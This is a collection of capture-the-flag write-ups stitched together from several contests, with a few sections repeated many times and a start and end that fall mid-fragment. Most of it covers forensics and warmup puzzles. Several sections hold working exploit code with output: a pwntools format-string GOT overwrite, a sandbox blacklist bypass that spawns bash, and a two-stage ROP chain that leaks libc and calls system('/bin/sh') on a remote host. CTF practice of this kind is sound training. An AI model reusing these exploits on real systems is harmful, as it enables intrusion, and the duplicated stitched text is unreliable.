time.sleep(1)print("Urgh. Not you again.")time.sleep(2)print("Fine. I'll tell you more.")time.sleep(2)print("...")time.sleep(2)print("But, being the chaotic evil I am, I'm not giving it to you in plaintext.")time.sleep(4)print("Enjoy this.")time.sleep(1)print("JA2HGSKBJI4DSZ2WGRAS6KZRLJKVEYKFJFAWSOCTNNTFCKZRF5HTGZRXJV2EKQTGJVTXUOLSIMXWI2KYNVEUCNLIKN5HK3RTJBHGIQTCM5RHIVSQGJ3C6MRLJRXXOTJYGM3XORSIJN4FUYTNIU4XAULGONGE6YLJJRAUYODLOZEWWNCNIJWWCMJXOVTEQULCJFFEGWDPK5HFUWSLI5IFOQRVKFWGU5SYJF2VQT3NNUYFGZ2MNF4EU5ZYJBJEGOCUMJWXUN3YGVSUS43QPFYGCWSIKNLWE2RYMNAWQZDKNRUTEV2VNNJDC43WGJSFU3LXLBUFU3CENZEWGQ3MGBDXS4SGLA3GMS3LIJCUEVCCONYSWOLVLEZEKY3VM4ZFEZRQPB2GCSTMJZSFSSTVPBVFAOLLMNSDCTCPK4XWMUKYORRDC43EGNTFGVCHLBDFI6BTKVVGMR2GPA3HKSSHNJSUSQKBIE")time.sleep(5)for i in go_away_msgs: time.sleep(2) print(i)time.sleep(0.5)```
Once again, I get a ciphertext, so I fire up Cyberchef. This time however Magic gives nothing... After some search trying different options, I find that `From base32` seems to give correct results, which are then decoded using magic. The complete translation stack is the following:
```From base32 -> From base64 -> Gunzip -> From binary -> From binary -> From hex -> From base85```
Flag: `ractf{My5t3r10u5_1nt3rf4c3?}` |
# Not Really AI
###`Exploit the service to get the flag.`
``` RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments```
* find out with dbg where the buffer starts* change next call which is 'puts' on 'flaggy' because `.got.plt` is possible to rewrite
```python#!/usr/bin/env python3from pwn import *
context.log_level = 'debug'debug = 0
if debug: io = process(['./nra'])else: io = remote('88.198.219.20', 52201)
binary = ELF('./nra')readflag = binary.symbols['flaggy']# .got puts addressputs = 0x0804c018
payload = b''payload += fmtstr_payload(4, {puts: readflag})
io.recvuntil('How are you finding RACTF?')io.sendline(payload)
io.interactive()#ractf{f0rmat_Str1nG_fuN}``` |
This one is a cool blacklist bypass. It's pretty simple. You are presented atext interface asking you to enter a python command.
```consoleType a command to time it!```
Trying some simple functions seem to work fine, but....
```consoleType a command to time it!print(1)Runtime: 1.09672546387e-05
Type a command to time it!import osHey, no hacking!```
...there seems to be a blacklist of characters that get screened before thecommand is run. We must obfuscate it somehow. By digging around, we can seeexactly what is in the blacklist and what isn't in the blacklist. Mostpeculiarly, `timeit` is **NOT** in the blacklist.
> Sidenote: it is hinted that `timeit` could be a possibility because it is> visible in the source whenever we provide invalid python code for the program> to execute.
```consoleType a command to time it!arstTraceback (most recent call last): File "/timed.py", line 36, in <module> time1=t.timeit(1) File "/usr/lib/python2.7/timeit.py", line 202, in timeit timing = self.inner(it, self.timer) File "<timeit-src>", line 6, in inner arstNameError: global name 'arst' is not definedRuntime: 0
Type a command to time it!12.,,Traceback (most recent call last): File "/timed.py", line 31, in <module> t=timeit.Timer(res) File "/usr/lib/python2.7/timeit.py", line 129, in __init__ compile(setup + '\n' + stmt, dummy_src_name, "exec") File "<timeit-src>", line 2 12.,, ^SyntaxError: invalid syntax```
We can do something like the following in order to trick the program intoexecuting blacklisted commands:
```python# We want to execute the following pythonwant_exec = 'import pty;pty.spawn("/bin/bash")'# So we obfuscate it a bitobfuscated = [ord(x) for x in want_exec]# and we can just reverse it using a join-mapassert want_exec == ''.join(map(chr, obfuscated))
# Payload:timeit(''.join(map(chr, [105, ...])))```
By pasting the payload into the program, we get a shell:
```consoleType a command to time it!timeit(''.join(map(chr, [105, ...])))bash: /root/.bashrc: Permission deniednobody@c51f99923c23:/$ lslsbin dev flag.txt lib media opt root sbin sys tmp varboot etc home lib64 mnt proc run srv timed.py usrnobody@c51f99923c23:/$ cat flag.txtcat flag.txttjctf{iTs_T1m3_f0r_a_flaggg}``` |
# Forensics
## Microsooft```We have to use Microsoft Word at the office!? Oof...
Download the file below.Files: microsooft.docx```We extract files in `microsooft.docx` and we see if flag is write in plaintext:```$ grep -R flagsrc/oof.txt: [...] flag{oof_is_right_why_gfxdata_though} [...]```
The flag is: `flag{oof_is_right_why_gfxdata_though}`
## Volatile```What was the flag again? I don't remember...
Download the file below.
Note, this flag is not in the usual format.
Large File Hosted with Google DriveFiles: memdump.raw```
`memdump.raw` is a memory dump, we will use volatility (https://github.com/volatilityfoundation/volatility) to analyse it
First af all, we get the profile of the memory dump:```vol -f memdump.raw imageinfoVolatility Foundation Volatility Framework 2.6.1INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86_24000, Win7SP1x86 AS Layer1 : IA32PagedMemoryPae (Kernel AS) AS Layer2 : FileAddressSpace (/home/tom.rorato/Downloads/memdump.raw) PAE type : PAE DTB : 0x185000L KDBG : 0x8276fc28L Number of Processors : 1 Image Type (Service Pack) : 1 KPCR for CPU 0 : 0x82770c00L KUSER_SHARED_DATA : 0xffdf0000L Image date and time : 2020-04-20 21:16:55 UTC+0000 Image local date and time : 2020-04-20 14:16:55 -0700```We will use the profile: `Win7SP1x86_23418`
We don't know where to get the flag, so we try everything
And we finally fing the flag in console history:```vol -f memdump.raw --profile Win7SP1x86_23418 consolesVolatility Foundation Volatility Framework 2.6.1**************************************************ConsoleProcess: conhost.exe Pid: 3468Console: 0xc781c0 CommandHistorySize: 50HistoryBufferCount: 1 HistoryBufferMax: 4OriginalTitle: %SystemRoot%\system32\cmd.exeTitle: C:\Windows\system32\cmd.exeAttachedProcess: cmd.exe Pid: 3460 Handle: 0x5c----CommandHistory: 0x2f0448 Application: cmd.exe Flags: Allocated, ResetCommandCount: 1 LastAdded: 0 LastDisplayed: 0FirstCommand: 0 CommandCountMax: 50ProcessHandle: 0x5cCmd #0 at 0x2f4680: echo JCTF{nice_volatility_tricks_bro}----Screen 0x2d62d8 X:80 Y:300Dump:Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Users\JCTF>echo JCTF{nice_volatility_tricks_bro} JCTF{nice_volatility_tricks_bro} C:\Users\JCTF> ```
The flag is: `JCTF{nice_volatility_tricks_bro}`
## Cow Pie```Ew. Some cow left this for us. It's gross... but something doesn't seem right...
Download the file below.Files: manure````manure` is a `QEMU QCOW2 Image`
But before all, we try to see if flag is write in plaintext:```$ strings manure[...]flag{this_flag_says_mooo_what_say_you}[...]```
The flag is: `flag{this_flag_says_mooo_what_say_you}` |
# Cheap Facades
> We've found a JPEG, but it doesn't seem to open in any of our editors. Can you see what's going on?
A file `flag.jpg` is provided.
## Description
If we execute `file flag.jpg`, we get the following answer:
```flag.jpg: JPEG image data, JFIF standard 16.73, density 17490x0, segment length 16```
So this is truly a JPEG image data. However density seems really off, so probably the header is broken. Let's have a look at the hex data. I'm using the online tool [hexed.it](https://hexed.it/) to open the file and modify it.
Here I see something strange: I see the IHDR and IDAT tags, which normally are in PNG files and not JPEG! Plus at the end there is an IEND tag... So probably this is actually a PNG image which header has been changed to a JPEG header.
## Solution
Let's modify the header. From the [specification](https://en.wikipedia.org/wiki/Portable_Network_Graphics#File_format), I know the first 8 bytes are `89 50 4E 47 0D 0A 1A 0A`.
Then there is the IHDR chunk: - 4 bytes for the size: `00 00 00 0D`- the IHDR tag: `49 48 44 52`- 4 bytes for the width: here it is 0, I need to change it- 4 bytes for the height: once again this is 0, I need to change it- 5 bytes holding bit depth, color type, compression method, filter method and interlace method: `08 06 00 00 00`. They seem ok- 4 bytes CRC (this is a checksum): `05 23 92 A6`.
To find the correct size of the image, I apply the same method than in [Dimensionless](Dimensionless.md). This allow me to find the flag:
Flag: `ractf{D0n't_judg3_4_f1le_6y_it5_h34d3r}` |
# Forensics
## Microsooft```We have to use Microsoft Word at the office!? Oof...
Download the file below.Files: microsooft.docx```We extract files in `microsooft.docx` and we see if flag is write in plaintext:```$ grep -R flagsrc/oof.txt: [...] flag{oof_is_right_why_gfxdata_though} [...]```
The flag is: `flag{oof_is_right_why_gfxdata_though}`
## Volatile```What was the flag again? I don't remember...
Download the file below.
Note, this flag is not in the usual format.
Large File Hosted with Google DriveFiles: memdump.raw```
`memdump.raw` is a memory dump, we will use volatility (https://github.com/volatilityfoundation/volatility) to analyse it
First af all, we get the profile of the memory dump:```vol -f memdump.raw imageinfoVolatility Foundation Volatility Framework 2.6.1INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86_24000, Win7SP1x86 AS Layer1 : IA32PagedMemoryPae (Kernel AS) AS Layer2 : FileAddressSpace (/home/tom.rorato/Downloads/memdump.raw) PAE type : PAE DTB : 0x185000L KDBG : 0x8276fc28L Number of Processors : 1 Image Type (Service Pack) : 1 KPCR for CPU 0 : 0x82770c00L KUSER_SHARED_DATA : 0xffdf0000L Image date and time : 2020-04-20 21:16:55 UTC+0000 Image local date and time : 2020-04-20 14:16:55 -0700```We will use the profile: `Win7SP1x86_23418`
We don't know where to get the flag, so we try everything
And we finally fing the flag in console history:```vol -f memdump.raw --profile Win7SP1x86_23418 consolesVolatility Foundation Volatility Framework 2.6.1**************************************************ConsoleProcess: conhost.exe Pid: 3468Console: 0xc781c0 CommandHistorySize: 50HistoryBufferCount: 1 HistoryBufferMax: 4OriginalTitle: %SystemRoot%\system32\cmd.exeTitle: C:\Windows\system32\cmd.exeAttachedProcess: cmd.exe Pid: 3460 Handle: 0x5c----CommandHistory: 0x2f0448 Application: cmd.exe Flags: Allocated, ResetCommandCount: 1 LastAdded: 0 LastDisplayed: 0FirstCommand: 0 CommandCountMax: 50ProcessHandle: 0x5cCmd #0 at 0x2f4680: echo JCTF{nice_volatility_tricks_bro}----Screen 0x2d62d8 X:80 Y:300Dump:Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Users\JCTF>echo JCTF{nice_volatility_tricks_bro} JCTF{nice_volatility_tricks_bro} C:\Users\JCTF> ```
The flag is: `JCTF{nice_volatility_tricks_bro}`
## Cow Pie```Ew. Some cow left this for us. It's gross... but something doesn't seem right...
Download the file below.Files: manure````manure` is a `QEMU QCOW2 Image`
But before all, we try to see if flag is write in plaintext:```$ strings manure[...]flag{this_flag_says_mooo_what_say_you}[...]```
The flag is: `flag{this_flag_says_mooo_what_say_you}` |
# Warmup
## Read The Rules```Please follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules```In source code of rules pages, there is a comment:``` html
```The flag is: `flag{we_hope_you_enjoy_the_game}`
## CLIsay```cowsay is hiding something from us!
Download the file below.Files: clisay```
`clisay` is an ELF, we try to execute is and we get:```$ ./clisay __________________________________/ Sorry, I'm not allow to reveal any \\ secrets... / ---------------------------------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || ||
```With `strings` we get:```$ strings clisay [...]flag{Y0u_c4n_ __________________________________/ Sorry, I'm not allow to reveal any \\ secrets... / ---------------------------------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || ||r3Ad_M1nd5}[...]```
The flag was hidden in the executable
The flag is: `flag{Y0u_c4n_r3Ad_M1nd5}`
## Metameme```Hacker memes. So meta.
Download the file below.Files: hackermeme.jpg```
We can see all metadatas with http://exif.regex.info/exif.cgi
And we see a particular creator :D```XMPXMP: Toolkit Image::ExifTool 10.80Creator: flag{N0t_7h3_4cTuaL_Cr3At0r}```
The flag is: `flag{N0t_7h3_4cTuaL_Cr3At0r}`
## Mr. Robot```Elliot needs your help. You know what to do.
Connect here:http://jh2i.com:50032```
There is a basic website, nothing in source code, so we check the robots.txt file at `url/robots.txt` and we can read:```flag{welcome_to_robots.txt}```
The flag is: `flag{welcome_to_robots.txt}`
## UGGC```Become the admin!
Connect here:http://jh2i.com:50018```On website, there is a login form with only unsername field and the message `Login as admin has been disabled`
When we try to log with the username `username`, the message `Sorry, only admin can see the flag.` is show
When we check cookies, we can see a cookie `user` with value `hfreanzr`
`hfreanzr` is just `username` encrypt with `rot 13` algorithm
Then, we replace the value of the cookie by `nqzva` (the `rot 13` of `admin`), refresh the page and the flag is displayed
The flag is: `flag{H4cK_aLL_7H3_C0okI3s}`
## Peter Rabbit```Little Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.Files: peter.png```
There is nothing hide in image
But the colors let thought about Piet esolang: https://esolangs.org/wiki/Piet
So, we execute the image with https://www.bertnase.de/npiet/npiet-execute.php
And the program write the flag: `flag{ohhhpietwastherabbit}`
## Pang```This file does not open!
Download the file below.Files: pang```The file is a png file but we can't open it
We execute string function on it to see if the file is another thing that a png file, and surprise !```$ strings pang[...]flag{wham_bam_thank_you_for_the_flag_maam}[...]```
The flag is: `flag{wham_bam_thank_you_for_the_flag_maam}` |
# HSCTF 7
## pwnagotchi
> 116>> Have fun with your new pwnagotchi!>> Connect to view your `\ (•-•) /` at `nc pwn.hsctf.com 5005`>> Author: meow>> [`pwnagotchi `](pwnagotchi)
Tags: _pwn_ _bof_ _rop_ _x86-64_ _remote-shell_
## Summary
From infamous `gets` to ROPing a second pass after leaking libc to land a shell.
## Analysis
### Checksec
``` Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)```
GOT, BOF, and ROP exploitable.
### Decompile with Ghidra
> I get one of these a week (_groan_). I'm only writing this one up because there's a _gotcha_.
`gets` + no canary + no PIE = easy ROP.
`local_14` is `0x14` bytes from the return address.
Simple two-pass attack. Leak libc and _return-to-main_ for a second pass to get a shell.
_So where's the gotcha?_
Line 16 has a global (`once`) that if set will prevent a second pass from getting to `gets`, _unless_ `sleepy` and `hungry` are reset.
Fortunately, the following two ROPable functions are provided:
```cvoid eat(void)
{ puts("om nom nom"); hungry = 0; return;}```
```cvoid zzz(void)
{ int iVar1; puts("zzz..."); iVar1 = rand(); sleep(iVar1 % 3 + 1); sleepy = 0; return;}```
This is a minor twist on a frequent trope from undergrad/highschool CTFs.
## Exploit
### Attack Plan
1. First Pass: Leak libc and _return-to-main_2. Second Pass: Get a shell, get the flag.
### First Pass: Leak libc and _return-to-main_
```python#!/usr/bin/python3
from pwn import *
#p = process('./pwnagotchi')#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')p = remote('pwn.hsctf.com', 5005)libc = ELF('libc-database/db/libc6_2.27-3ubuntu1_amd64.so')
binary = ELF('pwnagotchi')
context.update(arch='amd64')rop = ROP('pwnagotchi')try: pop_rdi = rop.find_gadget(['pop rdi','ret'])[0]except: print("no ROP for you!") sys.exit(1)
p.recvuntil('Enter your pwnagotchi\'s name:')
payload = 0x14 * b'A'payload += p64(pop_rdi)payload += p64(binary.got['puts'])payload += p64(binary.plt['puts'])payload += p64(binary.symbols['eat'])payload += p64(binary.symbols['zzz'])payload += p64(binary.symbols['main'])
p.sendline(payload)
p.recvuntil('is not happy!\n')_ = p.recv(6)puts = u64(_ + b'\x00\x00')print(hex(puts))baselibc = puts - libc.symbols['puts']print(hex(baselibc))```
Please read [https://github.com/datajerk/ctf-write-ups/tree/master/tjctf2020/stop](https://github.com/datajerk/ctf-write-ups/tree/master/tjctf2020/stop) for details on how this exploit works. The only different here is the use of `puts` vs. `printf` to leak libc and the calls to `eat` and `zzz` to reset `speepy` and `hungry`.
In short, smash the stack, pop rdi to leak the address of `puts`, compute the version and location of libc, eat, sleep, repeat.
### Second Pass: Get a shell, get the flag.
```pythonp.recvuntil('Enter your pwnagotchi\'s name:')
payload = 0x14 * b'A'payload += p64(pop_rdi + 1)payload += p64(pop_rdi)payload += p64(baselibc + next(libc.search(b"/bin/sh")))payload += p64(baselibc + libc.symbols['system'])
p.sendline(payload)
p.interactive()```
Again, please read [https://github.com/datajerk/ctf-write-ups/tree/master/tjctf2020/stop](https://github.com/datajerk/ctf-write-ups/tree/master/tjctf2020/stop) for details on how this second-half of the exploit works.
Output:
```# ./exploit.py[+] Opening connection to pwn.hsctf.com on port 5005: Done[*] '/pwd/datajerk/hsctf7/pwnagotchi/libc-database/db/libc6_2.27-3ubuntu1_amd64.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[*] '/pwd/datajerk/hsctf7/pwnagotchi/pwnagotchi' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)[*] Loaded 14 cached gadgets for 'pwnagotchi'0x7f9dda6789c00x7f9dda5f8000[*] Switching to interactive mode
\ (•◡•) /
AAAAAAAAAAAAAAAAAAAA\xf4 @ is happy!$ cat flag.txtflag{theyre_so_cute}``` |
[Original writeup](https://github.com/acdwas/ctf/blob/master/2020/RACTF/pwn/FIAS/fias_v1.py)[Original writeup](https://github.com/acdwas/ctf/blob/master/2020/RACTF/pwn/FIAS/fias_v2.py) |
# Generic Flag Checker
This is everyone's favorite type of rev -- windows rev, where the hardest part is actually finding the code. Portable Executables are very annoying.
With that out of the way, let's actually get to the challange. Running `memes.exe` on the command line gives `bad input`, so we try adding an argument. If we run `memes.exe test`, we get `checking...`, but nothing else outputs, which is odd. However, putting a `flag{}` wrapper tells us our input is wrong:
```C:\>memes.exe flag{test}checking...Incorrect!```
So this does indeed look like a generic flag checker program. Let's start reversing now.
Unfortunately, advanced static analysis techniques (aka loading the exe into ghidra and randomly clicking on functions and addresses) do not reveal the where the actual flag checking part of the code is. The only code that ghidra finds is some sort of windows wrapper that appears to set up various memory protections and other dynamic linking-y stuff. It will probably be easier to debug a live program and follow the instruction pointer with [x64dbg](https://x64dbg.com/).
After opening up `memes.exe`, we first want to go into `File > Change Command Line` so the program run with a dummy flag as an argument. Now, the hunt for the flag checking code begins. The first call that we need to **Step Into** is at the bottom of the first block of `memes` related jumps and calls. We can confirm this by setting a breakpoint, **Step Over** and noting that the flag checking output is printed to the console.
Inside this first call we follow a jump and see some `argv` and `argc` related calls, so we know we're on the right track. Trial and error will tell that the call to `memes.sub` is where the checking happens, so we **Step Into** that call as well.
At this point, the instruction pointer has arrived right at to the beginning of the `"UPX0"` section of the exe. We can actually load up this section in ghidra (or a static analyzer of your choice) and the contents will be undefined. (We suspect this has something to do with the fact that [PEs do not contain position independent code](https://en.wikipedia.org/wiki/Portable_Executable#Relocations) and thus the code must be patched and loaded at runtime, although we're not entirely sure)
Inside this block, we see some familiar `std::cout` and other `C++` calls, so we know we've found the flag checking code. We can find a loop (with `edi/eax` as the counter) that appears to process the inputted flag in some way. This loop takes the flag string (with the `flag{}` wrapper already stripped) at `rbp-0x40` and copies each byte `c` at index `i` to `rbp-0x20` at index `i` the value `c-i`:
```[note that ASLR will cause the addresses to be shifted]
7FF6CFDF11DE | xor edi,edi | Loop initialization7FF6CFDF11E0 | lea rbx,qword ptr ss:[rbp-20] |7FF6CFDF11E4 | lea rsi,qword ptr ss:[rbp-40] |7FF6CFDF11E8 | jmp memes.7FF6CFDF11FC |7FF6CFDF11EA | nop word ptr ds:[rax+rax],ax | --- LOOP INCREMENT ---7FF6CFDF11F0 | mov byte ptr ds:[rdx+rax],r9b | Write to string at rbp-0x207FF6CFDF11F4 | mov byte ptr ds:[rdx+rax+1],0 |7FF6CFDF11F9 | add edi,1 | Increment counter7FF6CFDF11FC | mov eax,edi | --- LOOP BEGINS ---7FF6CFDF11FE | cmp qword ptr ss:[rbp-10],rax |7FF6CFDF1202 | jbe memes.7FF6CFDF1252 |7FF6CFDF1204 | cmp qword ptr ss:[rbp-8],F |7FF6CFDF1209 | mov rcx,rbx | 7FF6CFDF120C | jbe memes.7FF6CFDF1212 |7FF6CFDF120E | mov rcx,qword ptr ss:[rbp-20] |7FF6CFDF1212 | movzx r9d,byte ptr ds:[rcx+rax] | Get the ith character of input7FF6CFDF1217 | sub r9b,dil | Subtract i7FF6CFDF121A | mov rax,qword ptr ss:[rbp-30] |7FF6CFDF121E | mov rcx,qword ptr ss:[rbp-28] |7FF6CFDF1222 | cmp rax,rcx |7FF6CFDF1225 | jae memes.7FF6CFDF1240 | Break condition7FF6CFDF1227 | lea rdx,qword ptr ds:[rax+1] |7FF6CFDF122B | mov qword ptr ss:[rbp-30],rdx |7FF6CFDF122F | mov rdx,rsi | 7FF6CFDF1232 | cmp rcx,F |7FF6CFDF1236 | jbe memes.7FF6CFDF11F0 |7FF6CFDF1238 | mov rdx,qword ptr ss:[rbp-40] |7FF6CFDF123C | jmp memes.7FF6CFDF11F0 |7FF6CFDF123E | nop | --- LOOP ENDS ---7FF6CFDF1240 | mov edx,1 |7FF6CFDF1245 | mov rcx,rsi |7FF6CFDF1248 | call memes.7FF6CFDF1D80 |7FF6CFDF124D | add edi,1 |7FF6CFDF1250 | jmp memes.7FF6CFDF11FC |7FF6CFDF1252 | movups xmmword ptr ss:[rbp-50],xmm6 |7FF6CFDF1256 | mov byte ptr ss:[rbp-60],0 |7FF6CFDF125A | xor edi,edi |7FF6CFDF125C | lea rbx,qword ptr ds:[7FF6CFDF3000] | Load some 7FF6CFDF1263 | lea rsi,qword ptr ss:[rbp-60] |7FF6CFDF1267 | cmp edi,9 | Check that counter was 97FF6CFDF126A | jb memes.7FF6CFDF1281 |```
At the end, it also checks that the counter was 9 (so we assume the length of the stripped flag is 9), and loads the address `7FF6CFDF3000` into `rbx`. Checking this address yields a secret buffer of sorts containing what looks like 9 ASCII bytes (as DWORDS):
```7FF6CFDF3000 | 000000637FF6CFDF3004 | 0000006f7FF6CFDF3008 | 0000006e7FF6CFDF300c | 0000004c7FF6CFDF3010 | 000000697FF6CFDF3014 | 000000607FF6CFDF3018 | 000000677FF6CFDF301c | 0000005e7FF6CFDF3000 | 0000006b```
Unfortunately, `63 6f 6e 4c 69 60 67 5e 6b` decodes to gibberish: `conLi``g^k`. However, we might guess that this secret buffer is being compared to the modified string produced by the above loop (`rbp-0x20`) with each index subtracted out. (If you want, you can read the code below to confirm this). So, we add `0 1 2 3 4 5 6 7 8` to the secret buffer values and get `63 70 70 5f 6d 65 6d 65 73`, which decodes to ASCII `cpp_memes`. Aha! We can confirm this is the flag by running `memes.exe flag{cpp_memes}` and getting `Correct!`.
> `flag{cpp_memes}` |
# Warmup
## Read The Rules```Please follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules```In source code of rules pages, there is a comment:``` html
```The flag is: `flag{we_hope_you_enjoy_the_game}`
## CLIsay```cowsay is hiding something from us!
Download the file below.Files: clisay```
`clisay` is an ELF, we try to execute is and we get:```$ ./clisay __________________________________/ Sorry, I'm not allow to reveal any \\ secrets... / ---------------------------------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || ||
```With `strings` we get:```$ strings clisay [...]flag{Y0u_c4n_ __________________________________/ Sorry, I'm not allow to reveal any \\ secrets... / ---------------------------------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || ||r3Ad_M1nd5}[...]```
The flag was hidden in the executable
The flag is: `flag{Y0u_c4n_r3Ad_M1nd5}`
## Metameme```Hacker memes. So meta.
Download the file below.Files: hackermeme.jpg```
We can see all metadatas with http://exif.regex.info/exif.cgi
And we see a particular creator :D```XMPXMP: Toolkit Image::ExifTool 10.80Creator: flag{N0t_7h3_4cTuaL_Cr3At0r}```
The flag is: `flag{N0t_7h3_4cTuaL_Cr3At0r}`
## Mr. Robot```Elliot needs your help. You know what to do.
Connect here:http://jh2i.com:50032```
There is a basic website, nothing in source code, so we check the robots.txt file at `url/robots.txt` and we can read:```flag{welcome_to_robots.txt}```
The flag is: `flag{welcome_to_robots.txt}`
## UGGC```Become the admin!
Connect here:http://jh2i.com:50018```On website, there is a login form with only unsername field and the message `Login as admin has been disabled`
When we try to log with the username `username`, the message `Sorry, only admin can see the flag.` is show
When we check cookies, we can see a cookie `user` with value `hfreanzr`
`hfreanzr` is just `username` encrypt with `rot 13` algorithm
Then, we replace the value of the cookie by `nqzva` (the `rot 13` of `admin`), refresh the page and the flag is displayed
The flag is: `flag{H4cK_aLL_7H3_C0okI3s}`
## Peter Rabbit```Little Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.Files: peter.png```
There is nothing hide in image
But the colors let thought about Piet esolang: https://esolangs.org/wiki/Piet
So, we execute the image with https://www.bertnase.de/npiet/npiet-execute.php
And the program write the flag: `flag{ohhhpietwastherabbit}`
## Pang```This file does not open!
Download the file below.Files: pang```The file is a png file but we can't open it
We execute string function on it to see if the file is another thing that a png file, and surprise !```$ strings pang[...]flag{wham_bam_thank_you_for_the_flag_maam}[...]```
The flag is: `flag{wham_bam_thank_you_for_the_flag_maam}` |
# Warmup
## Read The Rules```Please follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules```In source code of rules pages, there is a comment:``` html
```The flag is: `flag{we_hope_you_enjoy_the_game}`
## CLIsay```cowsay is hiding something from us!
Download the file below.Files: clisay```
`clisay` is an ELF, we try to execute is and we get:```$ ./clisay __________________________________/ Sorry, I'm not allow to reveal any \\ secrets... / ---------------------------------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || ||
```With `strings` we get:```$ strings clisay [...]flag{Y0u_c4n_ __________________________________/ Sorry, I'm not allow to reveal any \\ secrets... / ---------------------------------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || ||r3Ad_M1nd5}[...]```
The flag was hidden in the executable
The flag is: `flag{Y0u_c4n_r3Ad_M1nd5}`
## Metameme```Hacker memes. So meta.
Download the file below.Files: hackermeme.jpg```
We can see all metadatas with http://exif.regex.info/exif.cgi
And we see a particular creator :D```XMPXMP: Toolkit Image::ExifTool 10.80Creator: flag{N0t_7h3_4cTuaL_Cr3At0r}```
The flag is: `flag{N0t_7h3_4cTuaL_Cr3At0r}`
## Mr. Robot```Elliot needs your help. You know what to do.
Connect here:http://jh2i.com:50032```
There is a basic website, nothing in source code, so we check the robots.txt file at `url/robots.txt` and we can read:```flag{welcome_to_robots.txt}```
The flag is: `flag{welcome_to_robots.txt}`
## UGGC```Become the admin!
Connect here:http://jh2i.com:50018```On website, there is a login form with only unsername field and the message `Login as admin has been disabled`
When we try to log with the username `username`, the message `Sorry, only admin can see the flag.` is show
When we check cookies, we can see a cookie `user` with value `hfreanzr`
`hfreanzr` is just `username` encrypt with `rot 13` algorithm
Then, we replace the value of the cookie by `nqzva` (the `rot 13` of `admin`), refresh the page and the flag is displayed
The flag is: `flag{H4cK_aLL_7H3_C0okI3s}`
## Peter Rabbit```Little Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.Files: peter.png```
There is nothing hide in image
But the colors let thought about Piet esolang: https://esolangs.org/wiki/Piet
So, we execute the image with https://www.bertnase.de/npiet/npiet-execute.php
And the program write the flag: `flag{ohhhpietwastherabbit}`
## Pang```This file does not open!
Download the file below.Files: pang```The file is a png file but we can't open it
We execute string function on it to see if the file is another thing that a png file, and surprise !```$ strings pang[...]flag{wham_bam_thank_you_for_the_flag_maam}[...]```
The flag is: `flag{wham_bam_thank_you_for_the_flag_maam}` |
# Warmup
## Read The Rules```Please follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules```In source code of rules pages, there is a comment:``` html
```The flag is: `flag{we_hope_you_enjoy_the_game}`
## CLIsay```cowsay is hiding something from us!
Download the file below.Files: clisay```
`clisay` is an ELF, we try to execute is and we get:```$ ./clisay __________________________________/ Sorry, I'm not allow to reveal any \\ secrets... / ---------------------------------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || ||
```With `strings` we get:```$ strings clisay [...]flag{Y0u_c4n_ __________________________________/ Sorry, I'm not allow to reveal any \\ secrets... / ---------------------------------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || ||r3Ad_M1nd5}[...]```
The flag was hidden in the executable
The flag is: `flag{Y0u_c4n_r3Ad_M1nd5}`
## Metameme```Hacker memes. So meta.
Download the file below.Files: hackermeme.jpg```
We can see all metadatas with http://exif.regex.info/exif.cgi
And we see a particular creator :D```XMPXMP: Toolkit Image::ExifTool 10.80Creator: flag{N0t_7h3_4cTuaL_Cr3At0r}```
The flag is: `flag{N0t_7h3_4cTuaL_Cr3At0r}`
## Mr. Robot```Elliot needs your help. You know what to do.
Connect here:http://jh2i.com:50032```
There is a basic website, nothing in source code, so we check the robots.txt file at `url/robots.txt` and we can read:```flag{welcome_to_robots.txt}```
The flag is: `flag{welcome_to_robots.txt}`
## UGGC```Become the admin!
Connect here:http://jh2i.com:50018```On website, there is a login form with only unsername field and the message `Login as admin has been disabled`
When we try to log with the username `username`, the message `Sorry, only admin can see the flag.` is show
When we check cookies, we can see a cookie `user` with value `hfreanzr`
`hfreanzr` is just `username` encrypt with `rot 13` algorithm
Then, we replace the value of the cookie by `nqzva` (the `rot 13` of `admin`), refresh the page and the flag is displayed
The flag is: `flag{H4cK_aLL_7H3_C0okI3s}`
## Peter Rabbit```Little Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.Files: peter.png```
There is nothing hide in image
But the colors let thought about Piet esolang: https://esolangs.org/wiki/Piet
So, we execute the image with https://www.bertnase.de/npiet/npiet-execute.php
And the program write the flag: `flag{ohhhpietwastherabbit}`
## Pang```This file does not open!
Download the file below.Files: pang```The file is a png file but we can't open it
We execute string function on it to see if the file is another thing that a png file, and surprise !```$ strings pang[...]flag{wham_bam_thank_you_for_the_flag_maam}[...]```
The flag is: `flag{wham_bam_thank_you_for_the_flag_maam}` |
# Warmup
## Read The Rules```Please follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules```In source code of rules pages, there is a comment:``` html
```The flag is: `flag{we_hope_you_enjoy_the_game}`
## CLIsay```cowsay is hiding something from us!
